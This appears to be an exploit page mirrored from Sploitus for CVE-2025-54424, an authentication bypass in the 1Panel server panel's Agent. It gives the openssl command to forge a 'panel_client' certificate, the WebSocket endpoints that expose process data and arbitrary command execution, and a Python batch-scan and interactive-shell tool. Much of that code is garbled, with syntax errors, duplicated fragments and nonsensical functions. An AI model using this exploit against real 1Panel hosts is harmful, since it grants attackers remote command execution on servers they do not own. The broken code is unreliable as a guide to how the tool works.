## https://sploitus.com/exploit?id=2DF7B85B-8D61-57AB-8C75-4F11E347FD11
# CVE-2025-54424
CVE-2025-54424: 1Panel client vulnerability involving bypass of RCE protectionâAn integrated tool for scanning and exploiting the vulnerability
# Vulnerability Overview
1Panel is an open-source, modern Linux operation management panel that provides a graphical interface for deploying websites, managing servers, and running services. In the affected versions, the Agent-side TLS authentication policy is set to âtls.RequireAnyClientCert,â which only requires a certificate but does not verify its authenticity. Attackers can bypass TLS verification by using self-signed certificates and forge the CN field to âpanel_client,â thereby bypassing application-layer checks. Ultimately, attackers can use forged certificates to call unauthorized [command execution](https://mrxn.net/tag/rce) interfaces, leading to remote command execution vulnerabilities.
# Affected Versions
cert.subject_org=="FIT2CLOUD"&&ip_port="9999" || cert.subject.suffix=="panel_server"
# Vulnerability Analysis
- First, introduce the concepts of the 1Panel v2 Core and Agent sides. After the new version was released, 1Panel added node management functionality, allowing control over other hosts through adding nodes.
- The https protocol used between the Core and Agent sides fails to fully verify the authenticity of the certificates, resulting in unauthorized interface calls. Due to the presence of numerous command-execution or high-privilege interfaces in 1Panel, [RCE](https://mrxn.net/tag/rce) is possible.
### Code Audit Process
1. We first navigate to the Agentâs HTTP routing file, `agent/init/router/router.go`.
2. In the `Routers` function, the `Certificate` function is referenced for global validation.
3. The `Certificate` function checks whether `c.Request.TLS.HandshakeComplete` has completed certificate communication.
4. Since the validity of `c.Request.TLS.HandshakeComplete` is determined by `tls.RequireAnyClientCert` in the `Start` function of `agent/server/server.go`, any self-signed certificate can pass the TLS handshake.
5. Subsequently, the `Certificate` function only verifies that the CN field of the certificate is âpanel_clientâ without verifying the certificateâs issuer. Finally, it is discovered that WebSocket connections can bypass Proxy-ID verification.
6. There are many WebSocket interfaces in the project:
- `Process WebSocket` interface (all sensitive information can be obtained based on the above issues):
Route address: `/process/ws`
Request format:
```json
{
"type": "ps", // Data type: ps (process), ssh (SSH session), net (network connection), wget (download progress)
"pid": 123, // Optional, specify process ID for filtering
"name": "process_name", // Optional, filter by process name
"username": "user" // Optional, filter by username
}
```
- `Terminal SSH WebSocket` interface (any command can be executed based on the above issues):
Route address: `/hosts/terminal`
Request format:
```json
{
"type": "cmd",
"data": "d2hvYW1pCg==" // Base64-encoded âwhoamiâ. Remember to press Enter.
}
```
- `Container Terminal WebSocket` interface (for executing commands within containers):
Route address: `/containers/terminal`
- `File Download Process WebSocket` interface (for automatically pushing download progress information):
Route address: `/files/wget/process`
# Vulnerability Reproduction
## Manual Reproduction
1. Generate a certificate:
`openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"`
2. Load the generated `panel_client.crt` and `panel_client.key` files with Burp, then initiate a WebSocket request.
## Batch Detection
Use my developed tool, CVE-2025-54424.py, for batch detection and exploitation. Instructions for using the tool are as follows:
Install required dependencies: `pip install websocket-client cryptography PySocks requests`
```bash
usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
[--proxy PROXY]
```
1Panel client vulnerability involving bypass of RCE protectionâAn integrated tool for scanning and exploiting the vulnerability.
Author: Mrxn https://github.com/Mr-xn
Optional arguments:
`-h, --help`: Show this help message and exit.
`-u URL`: Single target; enter the exploitation mode. Example: 192.168.1.100:8080.
`-f FILE`: Target file; enter the batch scanning mode.
`-o OUTPUT`: Output file for vulnerability results.
`-t THREADS`: Number of concurrent threads.
`--proxy PROXY`: Set a proxy for all requests.
if target_host.startswith("http"):
return None, False, "Not a WebSocket server"
# ďźWebSocket
try:
ws = socket.websocket.connect(check_url)
response = ws()
except Exception as e:
return target_host, False, f"WebSocket connection failed: {e}"
# --- ---
def get_vulnerable_hosts(cert_files, vulnerable_hosts=None):
"""ďźă"""
if vulnerable_hosts is None:
vulnerable_hosts = []
else:
vulnerable_hosts = list(vulnerable_hosts)
with open(cert_files[0], 'r') as file:
lines = file.readlines()
for line in lines:
vulnerable_hosts.append(line.strip())
return vulnerable_hosts
# --- ---
def detect_vulnerabilities(target_hosts, payloads, proxy_dict, proxy_opts):
"""ă (target_host, bool, str)"""
for target_host in target_hosts:
print_lock.acquire()
try:
result = check_target(target_host, "", "", None, None)
print_lock.acquire()
print(f"[*]: {result[0]}, True, [results]")
except InsecureRequestWarning:
print_lock.acquire()
print(f"[*]: {result[1]}")
for payload in payloads:
print_lock.acquire()
try:
result = check_target(target_host, payload, None, None)
print_lock.acquire()
print(f"[*]: {result[0]}, True, [results]")
except InsecureRequestWarning:
print_lock.acquire()
print(f"[*]: {result[1]}")
for target_host, is_vulnerable, results in results:
print_lock.acquire()
if is_vulnerable:
print("[*] Vulnerability detected: {target_host}, True, [results]")
print_lock.acquire()
print("Vulnerabilities detected:", results)
# --- ---
def start_threatnetwork():
"""ă"""
with openpty('tcp', "all", check_host=True):
for host in range(1, 5):
try:
p = threading.Thread(target=start_threatnetwork)
p.start()
except OpenPTPy.ConnectError:
print("[ERROR] Unable to start the threat network: {error}")
# --- ---
def handle_errors(error_list):
for error in error_list:
print(error)
# --- ---
arg parser = argparse.ArgumentParser(description=" argparse example")
arg parser.add_argument("--targets", nargs=-1, type=str, help="List of targets to detect")
arg parser.add_argument("--payloads", nargs=-1, type=str, help="List of payloads to detect")
arg parser.add_argument("--proxy_dict", type={}, dict, help="Proxy dictionary")
arg parser.add_argument("--proxy_options", type={}, dict, help="Proxy options")
arg parser.add_argument("--vulnerability_threats", type=list, nargs=1, help="List of vulnerability threats")
arg parser.add_argument("--ignore_vulnerabilities", type=bool, default=False, help="Whether to ignore detected vulnerabilities")
arg parser.add_argument("--no_warning_ignore", type=bool, default=False, help="Whether to ignore warnings from insecure requests")
arg parser.add_argument("--no_ssl_verify", type=bool, default=False, help="Whether to disable SSL verification")
arg parser.add_argument("--thread_count", type=int, nargs=1, default=5)
arg parser.add_argument("--timeout", type=int, nargs=1, default=5, help="Timeout for thread execution")
arg parser.add_argument("--ignore_timeouts", type=bool, default=False)
arg parser.add_argument "--log_level", type=str, nargs=1, help="Log level (debug, info, debug_verbose)")
arg parser.setdefaultDefaults(Formatter.STRONG)
if __name__ == "main":
args = arg parser.parse_args()
detect_vulnerabilities(args.targets, args.payloads, args.proxy_dict, args.proxy_options)
handle_errors(args.error_list)
print("Vulnerabilities detected:", results)
start_threatnetwork()
print("All tasks completed. Press Ctrl+C to exit.")
ws_url = f"wss://{target_host}/api/v2/hosts/terminal"
try:
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ssl_context.load_cert_chain(cert_path, key_path)
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
ws = websocket.create_connection(ws_url, sslopt={}, timeout=10, **proxy_opts)
ws.close()
return target_host, True, "Vulnerability found (HTTP pre-check and WSS connections succeeded)"
except Exception as e:
return target_host, False, f"WSS connection failed ({type(e).__name__})"
# Step 2: WebSocket connection attempt
ws_url = f"wss://{target_host}/api/v2/hosts/terminal"
try:
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ssl_context.load_cert_chain(cert_path, key_path)
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
ws = websocket.create_connection(ws_url, sslopt={}, timeout=10, **proxy_opts)
ws.close()
return True, "Vulnerability found (HTTP pre-check and WSS connections succeeded)"
except Exception as e:
return False, f"WSS connection failed ({type(e).__name__})"
def receive_thread(ws):
"""Thread for receiving messages from the interactive shell."""
global exploit_running
while exploit_running:
try:
raw_message = ws.recv()
if not rawMessage: continue
response_json = json.loads(rawMessage)
if isinstance(response_json, dict) and "data" in response_json and response_json["data"]:
decoded_bytes = base64.b64decode(response_json["data"])
output_str = decoded_bytes.decode('utf-8', errors='ignore')
sys.stdout.write(output_str)
sys.stdout.flush()
except (websocket.WebSocketConnectionClosedException, ConnectionResetError):
if exploit_running: print("\n[*] Connection unexpectedly closed."); exploitRunning = False
break
except Exception: pass
def run_exploit_mode(target, cert_path, key_path, proxy_opts):
"""Execute single-target exploitation."""
global exploitRunning
print("[*] Trying to obtain an interactive shell...")
ws_url = f"wss://{target}/api/v2/hosts/terminal"
try:
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ssl_context.load_cert_chain(cert_path, key_path)
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
ws = websocket.create_connection(ws_url, sslopt={}, **proxy_opts)
print("[+] Shell obtained successfully!")
print("[*] Enter 'exit' or press Ctrl+C to exit."
print("---")
recv_th = threading.Thread(target=receive_thread, args=(ws,))
recv_th.daemon = True
recv_th.start()
while exploitRunning:
try:
cmd = input()
if cmd.strip().lower() == 'exit': break
b64_cmd = base64.b64encode((cmd + '\n').encode('utf-8')).decode('utf-8')
ws.send(json.dumps({"type": "cmd", "data": b64_cmd}))
except EOFError: break
exploitRunning = False
ws.close()
except KeyboardInterrupt:
print("\n[*] User interrupted, closing the shell...")
except Exception as e:
print(f"\n[-] Error occurred while obtaining the shell: {e}")
finally:
exploitRunning = False
def run_scan_mode(targets, cert_path, key_path, proxy_dict, proxy_opts, threads, output_file):
"""Perform batch scanning."""
print[fâ[*] Starting to scan {len(targets)} targets using {threads} threadsâŚâ]
# Description
This tool is intended only for security research and learning purposes.
[source-iocs-preserved hash=35be1ba15fc34a1ba8614fa4d271ca4a,78fdcbfa324d4dbca49c53cf56c9701b,8297f74142cd41dc902e77f81b8bdcdd,ac994a0d3fcc462daaee756c72ed1831,bbefc70884ca4ecc84530fe5a1ea9cf1,c4b7ffb226334c0480b6708553e045e0,dd78a5ca2ea64b31bdaaa56c637c339b url=http://127.0.0.1:8080,https://image.mrxn.net/35be1ba15fc34a1ba8614fa4d271ca4a.webp,https://image.mrxn.net/78fdcbfa324d4dbca49c53cf56c9701b.webp,https://image.mrxn.net/8297f74142cd41dc902e77f81b8bdcdd.webp,https://image.mrxn.net/ac994a0d3fcc462daaee756c72ed1831.webp,https://image.mrxn.net/bbefc70884ca4ecc84530fe5a1ea9cf1.webp,https://image.mrxn.net/c4b7ffb226334c0480b6708553e045e0.webp,https://image.mrxn.net/dd78a5ca2ea64b31bdaaa56c637c339b.webp,https://mrxn.net/tag/%E6%BC%8F%E6%B4%9E,https://{target_host}/,https://{target_host}/api/v2/dashboard/base/os ipv4=127.0.0.1 method=datetime.datetime.utcnow(),os.path.exists(args.file),os.path.exists(cert_path),os.path.exists(key_path),requests.packages.urllib3.disable_warnings(InsecureRequestWarning) const=COMMON_NAME]
Any direct or indirect consequences or damages resulting from the dissemination or use of the information contained in this document shall be borne by the user alone. The author assumes no responsibility for such incidents. # Reference
- https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-8j63-96wh-wh3j